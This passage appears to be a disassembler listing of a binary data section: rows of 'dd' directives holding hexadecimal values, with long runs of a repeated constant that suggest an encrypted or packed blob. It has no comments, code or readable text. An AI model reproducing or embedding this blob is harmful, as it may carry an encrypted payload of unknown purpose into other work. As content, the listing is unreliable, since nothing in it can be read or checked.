9F85C4F3h dd 0A46164ACh, 0A66834Bh, 673BE31Bh, 877377D4h, 59BAC30Dh dd 8659591Eh, 0A5DE8F24h, 0B719F196h, 0D2FAB5AAh, 0DBCF0E90h dd 707D66EBh, 718A044Ch, 48343162h, 0CF2C30A9h, 7A8C6514h dd 1405174Eh, 0D1936577h, 0BEAF26C3h, 7BC378AFh, 2F24D2CBh dd 0EEE100B8h, 1CA7B317h, 3E888613h, 5452C333h, 0DE39855h dd 9D26029Ah, 0F053B471h, 2A643B1Bh, 8E827F30h, 822B80CAh dd 5255ECF4h, 3C04B9D3h, 0A92F9CAEh, 541F0418h, 0B6B7E8FEh dd 4E4E7B9Dh, 88B6D7C9h, 615B3F2Ah, 9412B23h, 0D154F60Bh dd 0E6C039AAh, 4FC2527h, 0A60F7935h, 0B4E887ADh, 0FA7F40F6h dd 0C99A39CCh, 70BBA27Bh, 0FB847639h, 0D077AB85h, 0E00A549Eh dd 7F90729Fh, 0C2770701h, 0C38BC5D6h, 627E39F3h, 75DB729Ah dd 0ADBAC3FEh, 0D0D3B6E9h, 4D8DD8F6h, 0BC373757h, 0FB0D5D89h dd 0F8DC1903h, 0F15DDA0Dh, 1AF8093Eh, 5A51FEFEh, 0F1CAB157h dd 71A6832Ch, 7B99097Fh, 0E019DA2Ch, 2B5B7065h, 7112B8B1h dd 928D3F9Fh, 79B0A409h, 0A508F028h, 384B1846h, 0F2B8AA55h dd 574D6232h, 688C6F04h, 3B07C0D5h, 0A44DC040h, 0A75B15B3h dd 1812EC83h, 0AB29951Fh, 0BF10EC83h, 638114A8h, 642CF9D4h dd 0F9557681h, 0ABE55F3Fh, 4392EC83h, 0C6F540DFh, 5E36A490h dd 0C5A52305h, 34B07A0Ah, 0AE834524h, 0F5888E26h, 8B1EFF31h dd 741EA8CFh, 828AE4B1h, 0C0CA3876h, 8372147h, 5CB7E932h dd 8B092E88h, 92F4F5B3h, 3D2C768Fh, 1F41225Bh, 0FB3CA461h dd 36444CD2h, 6652C9DFh, 1306F9ACh, 0BF5822A2h, 11FD1D0Fh dd 0EE01AED1h, 766B7020h, 1705E550h, 3D15679Ch, 64F6422Ah dd 0F9AAA768h, 3319A7AEh, 0DA52D83h, 1B77A223h, 684F35B2h dd 81232F56h, 0E4826DA7h, 3CBED27h, 5A3CA6A7h, 350E3652h dd 2A582F7Eh, 0FB620E6Eh, 0EB487ABh, 323A4E1Dh, 721BCBC7h dd 1D13DB7Eh, 899A0493h, 5B6F2F43h, 0B3006C2Eh, 300AD98Ch dd 96FC9626h, 0CD8DDE6Dh, 377DC6B8h, 296E8000h, 0B56F9217h dd 0F2C6AC60h, 0F4F4C0DEh, 10A6EFBDh, 915289D6h, 4DC3D86Dh dd 0C67ECA7Eh, 0A6BB3A9Ah, 36E645C3h, 5EDE8B07h, 5712D57Dh dd 0AB57C37Dh, 0B6BC1E56h, 8D4B1894h, 0FD8D6AACh, 27CF556Eh dd 0C20DAB63h, 648938F3h, 8775D549h, 27A1AE65h, 548F8FB9h dd 0ADBFBA14h, 52B0A70Bh, 0B30B6475h, 6A029E6Ch, 0AAB2E6D7h dd 3013C16Bh, 0D44C000Ch, 0C1B520F8h, 3E888788h, 718C846Fh dd 0E19668Dh, 0B7AFC4D0h, 1B5D9572h, 0EDEAB076h, 89E13816h dd 795D9573h, 0F681FFAAh, 0C05DF0C2h, 60ECDC55h, 6C9A2279h dd 9DBE87ECh, 49B12E59h, 582BFF4Fh, 2E5378E1h, 0A94F5092h dd 5A091B7Ch, 0F4DBDEAEh, 0E0037B00h, 0BA310185h, 4B35AAA3h dd 5E01A5B3h, 0CF93C04h, 0DFFAC2E2h, 0A2D98163h, 0D5CD5E2h dd 1C6D0920h, 0FD05F1EDh, 0EB68F687h, 68888000h, 101F7EFFh dd 0A56B973Bh, 28C764A6h, 0A67116E5h, 803F7186h, 0D25DA3D7h dd 523BE320h, 781C19A6h, 0DAD4E20Eh, 0DC5CB98Bh, 6C9AD5B1h dd 7CED8418h, 50C26E7Fh, 57E1FC1Eh, 777A10C8h, 6882D6ECh dd 6F649120h, 26105C80h, 0D0AC7EA6h, 889F8734h, 19E185C4h dd 9C70BA3h, 0C6C22702h, 0B025B052h, 8CD1909Ah, 9F8C4216h dd 0EB03BA03h, 0EA6D0447h, 161BDF41h, 6E6B7DDCh, 0BC0A4CC1h dd 0F694B618h, 9970A1DFh, 9D7A95B2h, 85F7D837h, 0F46F06C4h dd 1DF7D88Eh, 2D1A4EFAh, 0F8D28516h, 70631065h, 516BB335h dd 1CA581DBh, 89D024E5h, 0DF6769EDh, 0B9A22145h, 62F1E832h dd 154B0FEAh, 0C23AE1FEh, 45AEC533h, 4AC48D47h, 0B6EC0A3Ah dd 56EB5C0Fh, 0A87B1A50h, 22F03550h, 6C9B8CEFh, 0ED8EB513h dd 739ADB06h, 895716FFh, 1257C284h, 0EDB82E2Ch, 599ADB06h dd 6C9B8D45h, 8D909F13h, 0C0114B2h, 0A2442263h, 0A68137F6h dd 3FC75E07h, 8B1428F6h, 71AC2319h, 0C6A9DA13h, 6FCDB6Fh dd 0BCBCC878h, 52360F22h, 0F44F9C5Eh, 4F43D471h, 7B34B6C8h dd 0ED085E5Eh, 0F6A4E3BDh, 35BD98F4h, 8AA1C83h, 38844B4Fh dd 0F95F4DDDh, 0F656641Dh, 844DB491h, 0AE9E1C5Bh, 4B37AE80h dd 138A059Bh, 7FA276D4h, 4E8B61C5h, 5D18E502h, 667FDBCAh dd 6CDFC3B0h, 0F770BB42h, 4A80622h, 523518B5h, 55678DD9h dd 0D44DD9ECh, 62451AA7h, 4B0DC5A0h, 0DAC98AB4h, 0DF634DDFh dd 97CAEF5Fh, 6C9AD4D6h, 2CA393E7h, 0EFFF2BE3h, 0A65D9824h dd 0E5BB45Bh, 0A6F23640h, 0AB3DF0D1h, 5D226D6Ah, 0AFBFF930h dd 1B6AB1A1h, 0B0673F87h, 27C5CDDBh, 0E7B34E48h, 0E152264h dd 0B34027B2h, 0A219BFC0h, 0E6D6FB34h, 6C9B779Ah, 0DB725678h dd 0DFAE0281h, 8BCD01DAh, 7EB4E97Eh, 0B6BDBB53h, 5D537DDh dd 0A9EA7F86h, 2ECC971Ah, 349ADA1Ch, 6C9AD4F0h, 6C9E0832h dd 0C5412813h, 71071A1Ch, 87013AEh, 48645A2Dh, 0D4856F89h dd 6C9AC45Dh, 0DBE2E213h, 1175283Fh, 0B9AE95B6h, 9D1E19C8h dd 55067FAAh, 0C299E20Bh dd 8E2DDAFDh, 6C9B77A7h, 14A1CF91h, 0E4B3293Dh, 0A7BD5498h dd 83E05E15h, 3812EE4Bh, 0DADE3873h, 33A28938h, 0AED5D5A8h dd 68E8299Dh, 2511D20Eh, 0ED16504Dh, 5A871C53h, 254EF695h dd 7721AB6Bh, 601F0847h, 0FEE7FF27h, 0CA507D9Ah, 0DC9B8E28h dd 0AA1B59B4h, 275A741Ah, 0EF6260BBh, 8431F999h, 9A093A7h dd 71588E3Eh, 356186AAh, 0E55CCBB5h, 88505158h, 0A511CFD5h dd 0E6154AA0h, 456CC68Eh, 47432AEAh, 6BC37B4Ch, 0E4B1BB45h dd 0AB647CACh, 0AB69EF3Eh, 76FCECB6h, 0BDA42E35h, 1BEE899Eh dd 0A4E7F80Ah, 42CFF9B6h, 524B1C87h, 4BA599CAh, 9D15D07Eh dd 9191332Eh, 0AB7918B8h, 0A904F9B6h, 0B284035Fh, 897316AEh dd 7C268995h, 2576E233h, 0B824046Fh, 0E5F7A4C8h, 0A511CFD6h dd 55B82145h, 36F650BAh, 934300B4h, 0E5EFBCA1h, 25A3403Dh dd 8E052A2Fh, 25A3403Dh, 0AB6E5F63h, 11178DB6h, 572D37F4h dd 7A2D0786h, 41927CFCh, 2B11F8CFh, 4DB9CC47h, 0AB648BC8h dd 553F02B6h, 5AFC508Ah, 0A3D3151h, 401BA37Dh, 0AB49C1E1h dd 0CD1121B6h, 0A92C2527h, 13C91EEh, 7B8358E8h, 0C151945Eh dd 11AF3785h, 0E0F5C18Ah, 35FBFDEEh, 0BA7F8EFAh, 5A18E50Ah dd 38569BF8h, 577DD06Eh, 0B4347BF0h, 6D7045BFh, 31F92E84h dd 9CF13D39h, 0B26222F1h, 38548540h, 92C42AEBh, 3EAEF422h dd 0F044292Ah, 19D8815Fh, 0BFA18E7Bh, 0D96AC6CDh, 7B304EA7h dd 6C2EE3F0h, 71DAC9B6h, 7C9F3784h, 3574D795h, 7C10EA41h dd 62816225h, 38AD8CC3h, 86E71326h, 538837BEh, 0CD472E12h dd 740DF4A8h, 0FC5B626Ch, 0ECF4BF3h, 6D6FA87Fh, 0F8B35584h dd 0DB5AA291h, 2975FB27h, 0C534B8F6h, 9977554Fh, 0C19F3796h dd 59B1F2E0h, 0FA6BF933h, 7C9F37A9h, 4CA128E3h, 0FB82B5D4h dd 0EA687815h, 0B126A7ABh, 6162107Ch, 15E57664h, 0ED4F6185h dd 1C496E0Bh, 6B791FE1h, 15E282D8h, 5AA7B264h, 829146DDh dd 0A323D3F9h, 0FB37FBBEh, 0B4B39F25h, 15E1AF5Fh, 9247FAC6h dd 76B770C7h, 9223852Ch, 0E4E1DA1Dh, 0B63CF82Bh, 9CD8F427h dd 7C582C70h, 41E0FE5Bh, 15E22654h, 0DC216325h, 0D73F450Ah dd 0CDF96957h, 0B55FE4FDh, 11DC4A27h, 2D5321AEh, 0D3AFDC37h dd 4D1AFCAh, 1475E5BEh, 2CD101Bh, 53031525h, 0DE1F9C87h dd 145D2DBBh, 15E5141Bh, 0E0A73B25h, 0B61F7E38h, 0B0A6D22Dh dd 0D969A628h, 22712A95h, 461F7E8Ah, 0B55055DBh, 33F43527h dd 591E1563h, 0BA707149h, 3A1F2A8Fh, 42DA1D8Bh, 9B0F4830h dd 4876B655h, 32CDE98Eh, 79099B9Bh, 90222CD7h, 60BE8007h dd 2B544EDBh, 0D0653C2Fh, 7 dup(0D04E7F1Ch), 0D208351Ch dd 33h dup(0D04E7F1Ch), 63212F1Ch, 74846D04h, 6D4E7F28h dd 0DE000E7Ah, 0EF06ED01h, 0A914386Ch, 0D058A2B7h, 288AFCB8h dd 0BF3695E5h, 594E462Dh, 0CD625EA4h, 19B8C218h, 8B585364h dd 0D898AC59h, 49D9C2D3h, 0E681A51Bh, 0C00FE8A3h, 594E462Dh dd 0CD625EA4h, 4B8C218h, 842AECFAh, 0F998AC59h, 0D4A73AC1h dd 912351F5h, 7F8D2AA9h, 87BCD891h, 0B70012C8h, 10975380h dd 0E99498CCh, 827F066Eh, 5D023166h, 0C197412Bh, 702D9C1h dd 0F36B8E24h, 0E9955FFAh, 0DC870D0Bh, 6D6A0904h, 0E965D890h dd 0B11E5775h, 46C59471h, 0EAC0FB51h, 0E9667A04h, 12720904h dd 79DF776Bh, 0E99496CBh, 8E093604h, 0E6F33CD9h, 0EE810939h dd 93B5B566h, 0C04640D6h, 0C5283631h, 0EAC15299h, 5F74EA04h dd 0FA609097h, 4FECECE8h, 59E735CCh, 0DE90DE8Ah, 0E993902Eh dd 685E9904h, 0DA91FC3Fh, 0F462857Bh, 72D274F0h, 0B7B5C2D8h dd 0D7D17AF4h, 0A6B96029h, 3E9C8123h, 0F40CFCDFh, 82948126h dd 0FC8FBA5Dh, 21EA8157h, 0B8080A83h, 12CEACB0h, 3A0D5186h dd 0CFE2FEEBh, 0F2E17DE9h, 0AC5DD66Fh, 0A294AEEFh, 0A32BDAh dd 0CD8B8ED7h, 66995B4Fh, 82CEA786h, 0D3BAFA3Eh, 0A294AA98h dd 0C2B0DA88h, 0E8EDDBD7h, 89D53854h, 0A0EE07EEh, 6125D8B9h dd 76CC7F42h, 5C392917h, 0D9A0A2F6h, 0D24CD088h, 89694FFDh dd 576D397Dh, 0B45CC19Ah, 0C74FC9DEh, 0D368EB41h, 0E9348F47h dd 8942560Fh, 0C2015E25h, 7837AF2Ah, 62E9C0C5h, 0E5280E6Ah dd 7E138DD2h, 0ACB922DEh, 883052DBh, 0A18A2917h, 0E35730E5h dd 0C8592E95h, 0E168B1F0h, 6CF79F77h, 10B14EEFh, 0BA4F459Dh dd 896CA881h, 7DF87317h, 728DD41h, 0DDE1B3A9h, 0B3B29A3Bh dd 68001D1Eh, 0B7F67B37h, 8B012913h, 4379D6Bh, 2DD05D4Dh dd 0D37D06EEh, 0E50A7322h, 9858F11Bh, 0DB58342Dh, 8619A239h dd 42422917h, 0C6F2C578h, 325E443Ch, 1718D95Eh, 8DBD7B34h dd 2FBB050Dh, 6F50D048h, 0F25666DEh, 896BCE7Ch, 0C575917h dd 0CD2CD22h, 0E334533Eh, 176A221Ch, 0F267290Fh, 0C9CFCD73h dd 86F83245h, 896CA892h, 7FC5317h, 32E18C5Dh, 7C3E9E42h dd 0ED1F0104h, 0F4DEF8C1h, 9BB6C0CBh, 89425146h, 1687A6B7h dd 0AE4C1F6Bh, 0E3AFD7A4h, 13C3B1E2h, 335554F6h, 90BF6BC8h dd 76CC7F36h, 2AFC2917h, 0F1024598h, 8EEB0B3h, 0F2185031h dd 0E5F3D2FEh, 29FDF5F0h, 733466C5h, 15566D17h, 0C27EEE21h dd 0E62BDFE5h, 0BA42A3CBh, 2B53A6FEh, 12F77EB6h, 8E0F1261h dd 0AE19C29h, 7E2B3005h, 0C6DEE0DCh, 73346FA3h, 0BCB818FCh dd 0A32E0DEh, 7447600Fh, 88EFF1DCh, 0F4C05657h, 0E78CBA8Ch dd 0C9ABD22Fh, 2D377B0Ah, 8D13B690h, 57E1C743h, 383A5A02h dd 29885181h, 8CB6418Fh, 0B59517DAh, 2DE3E641h, 0F175405Dh dd 0D2CFAE32h, 3C74214Ah, 9B7572C8h, 443EF995h, 52CA93A9h dd 9DA11335h, 0A77340D0h, 6078FE9h, 0B6641A1Fh, 0A5C20F81h dd 0AE753E87h, 842164A1h, 68721338h, 57E31545h, 57E1BCA9h dd 123AF942h, 0D4828C26h, 0DBF1444Ch, 5CEEE73Bh, 5C6DAD7Dh dd 0EA6C4ACh, 6EAD929h, 3A4735C6h, 0B7343BB7h, 4D479450h dd 0ACDD3F42h, 64753E87h, 237B1F4Dh, 6D46D1C5h, 567A5817h dd 0E5295C0Ch, 0D921357Ch, 0ED87421Ch, 98077FDCh, 91C82741h dd 253EF4h, 0E956EDBAh, 0FE753E86h, 5675409Eh, 0E8FD76B5h dd 621B8EE6h, 5ECD9BEh, 84216468h, 93BD1338h, 56939807h dd 0FE2BB142h, 32F4C7CAh, 2575405Dh, 96A017D0h, 87721464h dd 5674CE3Dh, 296622AAh, 57E1CA4Eh, 44CDBE42h, 0B175405Dh dd 0B6609A0Eh, 0EE93E641h, 0C64F0CD1h, 2B49C52Ah, 57E306AAh dd 61F5AA9Eh, 62339F3Eh, 1BB717A0h, 82CA5AE6h, 0E9FFED1Ah dd 80BDA241h, 2C34B20Ah, 1BBA1F33h, 0F58B2546h, 0C84D9C00h dd 54100669h, 1AE4FC8h, 701E9C01h, 538601BEh, 47F9C030h dd 0AC4D6FDCh, 0D27F1F52h, 690232CCh, 0F3749A2Bh, 7C44F2D4h dd 2072E188h, 558CD79Bh, 0CAC808D3h, 39200AA1h, 1A4D2AE1h dd 3FEB0D83h, 94CC5042h, 0A5DAB3C0h, 66F2B346h, 1A6BEAE4h dd 5C049BE6h, 6EE0407Fh, 56D265CAh, 0F44D9A2Bh, 7BC9D60h dd 0F4C291FCh, 0F70A8DE7h, 6107E445h, 89E19DB0h, 0CAA2D7FBh dd 0ED4BE1F1h, 1A4EF2A3h, 35C3F8E6h, 0B1205767h, 0AACD9884h dd 720BF712h, 1A4D9C3Ch, 77B886C4h, 0E1B0F712h, 0A98473Eh dd 311C175Ah, 7EDE2195h, 674D9BE5h, 1BBB6A1Eh, 6AADFBE6h dd 0A30512CBh, 61E9DF9Fh, 1A522D1Dh, 1BB808E6h, 819C9BE6h dd 35075A2Ch, 246FDDA2h, 0AD0BFBE2h, 1B0BA7E0h, 74D49BE6h dd 0A54D9BE6h, 4EF0F3ACh, 891DC42Ch, 4C779368h, 0C4A09591h dd 0F9D78D6Eh, 0D94DBF2Ch, 0D0956FE4h, 4881EE4Bh dd 1A4D9CE2h, 0EBFF89B9h, 23EF60D1h, 4467B22Bh, 6349BD36h dd 0B14E9BE4h, 0F847DE50h, 74142CA2h, 0D85085FCh, 243CF6C0h dd 0E04A42E6h, 1BBA2403h, 1A52A44Dh, 7E4F83E6h, 0CC8D9CD9h dd 6EE0404Ch, 0E82067CAh, 1BBB71E9h, 0C273AA46h, 1A534EF9h dd 0ED36C0E6h, 1B7B06F0h, 9227DC50h, 0F8C565A1h, 3DA2D7ADh dd 0DED965C8h, 1A504620h, 0F9A21EE6h, 0F96FCCA3h, 6E86B02Dh dd 0D3E4C24Dh, 0B74F3B8Eh, 0EE7637E0h, 67220EDEh, 7776F0BCh dd 0E02D1EEh, 2EE9DBCh, 0C3F42362h, 5E1009E3h, 5FA36229h dd 0C6FA7428h, 39C695A2h, 6399DD02h, 0DA2578E3h, 3122121Fh dd 7776F116h, 0FA5BD990h, 2AFE79F5h, 0E88654Fh, 0CCC87D23h dd 94464120h, 7891E7C0h, 0E8BDE10Eh, 0C476620Ch, 7894FEABh dd 3285310Eh, 0CFE4C243h, 77766309h, 94597DBFh, 0C1EEB75Eh dd 9B8868E4h, 0CE048794h, 9564E16h, 2F68E69Ah, 4646C824h dd 7891EA37h, 0FE2F03DDh, 0D38E1B03h, 0C25846DBh, 5EFA60FAh dd 0B3FB6229h, 7D766203h, 1CA045DCh, 6A9FDEB6h, 62F3A7EFh dd 0E593E659h, 0D6A03793h, 0F879B1A1h, 2C5CDC5Dh, 7BFCB42Dh dd 3D57A48Dh, 40424D1Ah, 1E6A9E9Bh, 30EC8A15h, 0B5CDC69h dd 0BE7B79ECh, 71E69169h, 556EDFAAh, 0F22F4BCAh, 0BE5D6BADh dd 0EB38F9D3h, 4EB08EE0h, 815EFAC7h, 269AE095h, 3F1ADC69h dd 0A3E819F3h, 2E821BDDh, 0D4494282h, 25668343h, 0BE789400h dd 0A8ED3569h, 0DCF56CB7h, 8D9AA2D0h, 0BD1F0EE4h, 8093E35h dd 555BDC67h, 290BBD2Dh, 0DC64381Ah, 0B408F7FCh, 0FC38D500h dd 12DD2B24h, 8A2ED15Fh, 7F45D286h, 0A8C0D286h, 7CC828C1h dd 560277FEh, 7C416DB6h, 142F7282h, 0F661F343h, 9090CA41h dd 8BDC4E2Eh, 61DA6386h, 0DED8D2A1h, 208B6E42h, 1E1CAC53h dd 15D5068Ch, 0B3B34B13h, 72EE399Ch, 0CB47D286h, 99D76F47h dd 13C7DA0Bh, 35DE22B4h, 38C0D279h, 5ED91B06h, 0BA02FF37h dd 7A6BFBBDh, 8BDEFF93h, 5F70CB87h, 2D45D2A1h, 3BC0D27Bh dd 61D0C857h, 0F0B25B9Dh, 0B3458747h, 0E3C43C64h, 9A035A59h dd 7F8674DDh, 6F9DF071h, 0BABEB7B5h, 0A00E039Ch, 2A7872B3h dd 3855E7B8h, 0DF9F02AFh, 589DF071h, 469B5CB8h, 6E74D6AAh dd 4F1F96F4h, 8067E438h, 0FE9EDF0Eh, 73BBF599h, 5E4AF071h dd 739E46B4h, 0BF1DC259h, 0B0B09BFDh, 739E812Ch, 0EF964971h dd 0C4AECC5h, 5D21EF94h, 48C51895h, 0A4E16E4Ah, 506A9103h dd 0F84720FBh, 0B0AFEA85h, 72839F82h, 73747771h, 0BE9DF071h dd 739E46C2h, 0B0DEF094h, 0D50253BFh, 5753EF7Eh, 0D0D70D94h dd 40F72D78h, 0F9762518h, 178264CFh, 9A035A5Ah, 6F19B1DDh dd 839DF071h, 2531B3Ah, 35EC1E20h, 4BF9556Bh, 0EE875668h dd 0AA2925FCh, 0F47F26DBh, 0B27B9406h, 0F6F1609Fh, 739E46BDh dd 25EB2B4Ch, 0E31B23F6h, 5411B3E8h, 0A2517D2Dh, 0BB5539DBh dd 139DEF7Eh, 95F7E82Dh, 739E46BAh, 70330580h, 0C8B04FB5h dd 0B5C15847h, 0D519CF41h, 0BD9DF071h, 150A4B93h, 48E39D77h dd 0DB331318h, 0AA2925FCh, 0AE1D39DBh, 0B09DEF7Eh, 72833916h dd 0F8865471h, 0FE9EEFB1h, 9D4F1F99h, 0CF7DEF7Eh, 19B353B3h dd 55D2DA25h, 0B567EBC8h, 728350B7h, 1BAEC071h, 0AB7BF01Fh dd 0B0C3B1FFh, 0F1BA5101h, 0B2BACA7Dh, 73BBCEB3h, 487DF071h dd 0EA9000FDh, 0D84AA6D0h, 0BAFEA97h, 0B09E46DDh, 72839D75h dd 9D701971h, 942DEF7Eh, 1902E70Fh, 0E2B08186h, 989937AEh dd 85196990h, 16ED8C51h, 73FFDACBh, 36371F3Ch, 0A752F183h dd 81196A83h, 3619675Dh, 14C5D987h, 734E372Ah, 65455AB9h dd 0DA940DBFh, 3619686Ch, 2F820783h, 0D7078C4h, 43309C06h dd 44B72E12h, 0C1C73214h, 987C62ACh, 59F96990h, 73663CE5h dd 76F70E16h, 0B217DAB1h, 0B435AAD8h, 753A2614h, 0D3684AC5h dd 989469A6h, 0D8196990h, 0EA48F2E3h, 0D9DF8EEAh, 65458B72h dd 20940DBFh, 3619C0DDh, 0CE13B7B9h, 0B8FBCC03h, 0A55E748Ch dd 822885E4h, 0ED9DCDDCh, 80C0C18Fh, 44E365C8h, 0C1C73214h dd 0BC01A47Fh, 0C11A69C4h, 36FEBB72h, 0E1AFAC83h, 0A069F11h dd 0CFE92A0Fh, 0A2E1DBB5h, 36FF16C8h, 796F7383h, 37FA6832h dd 49087868h, 73466DDFh, 0A8DE5BBAh, 0B395285Bh, 18F9C35Dh dd 0B36E553Fh, 0F5C7A0F1h, 3619C0C5h, 6D6BD55Eh, 0D9196990h dd 65455AABh, 0DA940DBFh, 36FF1772h, 61EB9383h, 0CC56990h dd 75B5CAAFh, 3BF493F7h, 0DD77C781h, 0B8F894DDh, 18045222h dd 35B4F732h, 3E166A83h, 0C1FF5AB0h, 0DAAD469Dh, 36FF284Eh dd 5873CA83h, 3619C0CCh, 361699C4h, 0EA8C6A83h, 6EA4A00Eh dd 98EFB3EDh, 85196990h, 76F70E0Fh, 536CDAB1h, 36196780h dd 36FEC06Ah, 3BA71D83h, 36A29508h, 0E5EC2E4h, 9F9C7C50h dd 0B435AAC3h, 753A1AACh, 61D867C5h, 0BBF96990h, 0BE86A645h dd 736D3CD6h, 65455AB9h, 0A5940DBFh, 5F178CEEh, 2FCF1A0Dh dd 0B75B59E6h, 0D095C8B1h, 71E069A6h, 0F9E6E96Fh, 0CA106B30h dd 28159643h, 38DF18AEh, 0DBB6D873h, 0B0F54EDEh, 0D28BC99Fh dd 8E178D08h, 7D3A8DE6h, 568CADEAh, 73E02906h, 33BA3562h dd 0DFE0DC2Eh, 0E18D56BDh, 56A035A5h, 0D250577Ch, 552753D1h dd 7256577Ch, 8D1FF323h, 0A388947Bh, 0D3ED3E37h, 5672BAEAh dd 20C8577Ch, 159D510Eh, 540C809Fh, 789EB6C0h, 568DC054h dd 0F21BF97Ch, 6CF449A7h, 5EBCC3E5h, 568CADE3h, 380ABE02h dd 7E525674h, 3A9C30D5h, 47014B6Fh, 0DB7929E8h, 0D2659DDCh dd 8E178D08h, 815FBAE6h, 3EC55689h, 0A87FBF1Dh, 5471014Eh dd 9631797Fh, 108AC7AAh, 5671AE87h, 0F5C32019h, 1DD35893h dd 36DACEF8h, 47DFC690h, 568C544Ah, 8DEAA09Ch, 938C5689h dd 568C544Ah, 0D494D87Ch, 0DA40943Dh, 1AE1849Ch, 0DC0352BAh dd 0E17A51BCh, 0AEF1880Dh, 0C50C9856h, 0F4CCAD98h, 568CE503h dd 98DDBFBBh, 1FA78F6Ah, 9D3C80E4h, 0AFFE920h, 8E178D08h dd 0DC741EE6h, 0E18D56BDh, 5BDD0B5Bh, 568CE503h, 0F2216ACFh dd 1CDF134Eh, 27FAB128h, 1531EF12h, 568C53A8h, 54E0A09Ch dd 7E8C577Ch, 568CF0D3h, 0A23AF134h, 324AB983h, 1AF43BA3h dd 189B39ECh, 2BC8CC8Ch, 9E1679E1h, 856ED589h, 1C8C5684h dd 0C959CCCFh, 0EC327BD5h, 8B1D6FC8h, 0AD64AFh, 0D3103BCh dd 0B70348E2h, 0C54C9165h, 9C9E2446h, 3F033DD0h, 9F7C241Dh dd 4B7BAE4Fh, 0D0302CA9h, 9C848F19h, 53BA42F9h, 88FA51Dh dd 98D8E85Bh, 8F8D640Fh, 3CB03F45h, 4206F78Fh, 0AB94DF06h dd 0B98BC9B6h, 39032D44h, 119ABB3Ah, 5C7B728Fh, 189C4E27h dd 0D4F3484Eh, 599E247Eh, 9C83239Fh, 9C9809F9h, 7C78DEF9h dd 93FBEE49h, 0B9B629D2h, 0C92D8C10h, 9E885D05h, 141ED52Dh dd 60B087C6h, 4FCAF30Ch, 0EB897335h, 0C97BBEC6h, 0EAA0A440h dd 0BFC5C70Bh, 0B963FACAh, 44290487h, 9F3A3363h, 7EE7DEF9h dd 0E7B18235h, 36AD9963h, 442C21EEh, 541A0463h, 0A39EDF06h dd 0E51EBEC6h, 0EBCAA89Eh, 0CBE18E8Fh, 125319EDh, 41303C60h dd 0E29EDF06h, 21C6FBAFh, 3CAC06C7h, 15F14F18h, 9C832733h dd 0D01B0219h, 87B68A67h, 0F21286DEh, 19E39FB5h, 93782967h dd 6B9EDEF9h, 9C9E6F84h, 22597D0Bh, 26F28B12h, 0E45D63Dh dd 0B70348E2h, 7F979165h, 0A8F16358h, 9F23BFC8h, 437EDEF9h dd 92A0829Bh, 0F58650E8h, 429EDF1Ch, 7DD0021Fh, 803DA8BBh dd 0DFF6D538h, 5F22E40Dh dd 8F8D7AD3h, 60B03F45h, 5C7B7285h, 189C4E27h, 1EA78A4Eh dd 5FBFB336h, 0FD1D2926h, 0B49EDF00h, 9C9E246Ah, 0D2C46F3Bh dd 0D4462081h, 32EFC9h, 43D7E4CBh, 3A854765h, 9906DF1Ch dd 449F259Dh, 9C832B2Fh, 6AAEBBF9h, 9C4FCAE9h, 0CED03625h dd 60CD8AAAh, 1C120377h, 44266D9Ah, 0F14B2463h, 9C9E2463h dd 9CB1F33Ah, 3162DEF9h, 0B70348E2h, 927F9165h, 9C9E6C80h dd 1320B5F5h, 78ECC54Eh, 0EDA45CA0h, 47BF5575h, 6E48C709h dd 18968473h, 44290485h, 1DE50463h, 168694D7h, 2B9FDF3Ah dd 72023321h, 8EAEDF06h, 95B6EFBCh, 0DA920A38h, 0F83ED49Dh dd 6D1A0835h, 11A42053h, 0BF104F25h, 23E33204h, 5A262A5Bh dd 7D5BBDB8h, 0F27E13D2h, 19FFD7B5h, 16152367h, 2B8CD839h dd 42056D8Ah, 1483DF06h, 0A96C5CF5h, 0D06C0BA9h, 7FFC988Bh dd 297B46CBh, 8F8E83CAh, 59B03F45h, 9C84B4C5h, 720209F9h dd 2BDCDF06h, 0E7E4752Fh, 0DBBF1AECh, 0EA8BDC10h, 35BB0B92h dd 442C21EEh, 884C0463h, 9C832710h, 9C845EE0h, 0F91B0CF9h dd 4C282FB1h, 4B70F4E0h, 8777DF06h, 0B49037C7h, 0B3BAE496h dd 8E4C94E0h, 9C9E241Eh, 9C9F923Ah, 18A9DEF9h, 1D4C9F4Eh dd 9C9EDDDEh, 9C8433E0h, 2FBB7BF9h, 7839E7F5h, 42C4F053h dd 8805C06h, 0CF9EDEF9h, 0AE7A1559h, 0AA0ABB32h, 0A553B39Ah dd 1DC0DFADh, 2B8CD85Ch, 99302BAEh, 3C9EDEF9h, 61321C7Ch dd 8B27F7FCh, 3508C766h, 3010E981h, 9C9F7391h, 95845EF9h dd 66EABEDFh, 4B4FA212h, 0F14BDF06h, 9C9E248Fh, 9C9BAB3Ah dd 0AE3BDEF9h, 2B4C968Ah, 193EFB21h, 6CEC4244h, 8E2216B8h dd 72012E5Ch, 0B0A2DF06h, 0AFA14F88h, 0C2455F18h, 1E129046h dd 3106EBBDh, 442C21EEh, 3A4C3363h, 4113DF1Ch, 0D70A412Bh dd 487811C4h, 0A97A778Dh, 37EE795Eh, 9C848F9Eh, 9DA657F9h dd 599EDEF9h, 9C9EDDE0h, 601EA9F9h, 3CB09B5Fh, 825DA581h dd 161555ABh, 2B8CD839h, 72AB1FE5h, 422DF06h, 0A1BB57Fh dd 9CCD9C3Eh, 6D0DE0CFh, 77067C17h, 0E2E3FFAFh, 0E7B8FB81h dd 0FC2755h, 2C3C8266h, 0A7EA8EFEh, 222FBE8Bh, 9F78B643h dd 0DED6A58Ah, 0CD47EA74h, 0DDDD928Ch, 188F442h, 3EF80695h dd 0D1764F77h, 0D2501C99h, 0D3A9EE41h, 0B0066ABFh, 0C6429412h dd 3C7AF07Bh, 0C70384A3h, 3EF89C62h, 2C1B4E8Ch, 4E476E4Bh dd 0F0FD0A42h, 4BACF28Bh, 6A177194h, 3EE37115h, 0D8E3BAA3h dd 529905BCh, 31F276ECh, 0A60E06BAh, 0A49A993Dh, 0DEF805ABh dd 3EFE7BBDh, 0DB6621A3h, 0FA38E622h, 0F19F1F34h, 1AA40280h dd 82E67195h, 7AF805A3h, 94BABDC6h, 85940226h, 0A7F9059Eh dd 3EE59BD0h, 776765A3h, 1815D188h, 72D40E28h, 0A3E675AEh dd 0F8F805A3h, 567B85CDh, 2B32BD3Dh, 0F9CB71Dh, 0B9998917h dd 0D871B145h, 7F0805BCh, 13949F38h, 0F7CC318Dh, 0F620A588h dd 6C8DAA34h, 0BC3FDF1Bh, 0A7EA087Ch, 8B7CC60Ah, 0A9F805A3h dd 382B48F1h, 400BA3C1h, 52228363h, 43704C7Ah, 130EE780h dd 13BF1C62h, 0D2745E10h, 564FBC27h, 3EF8B146h, 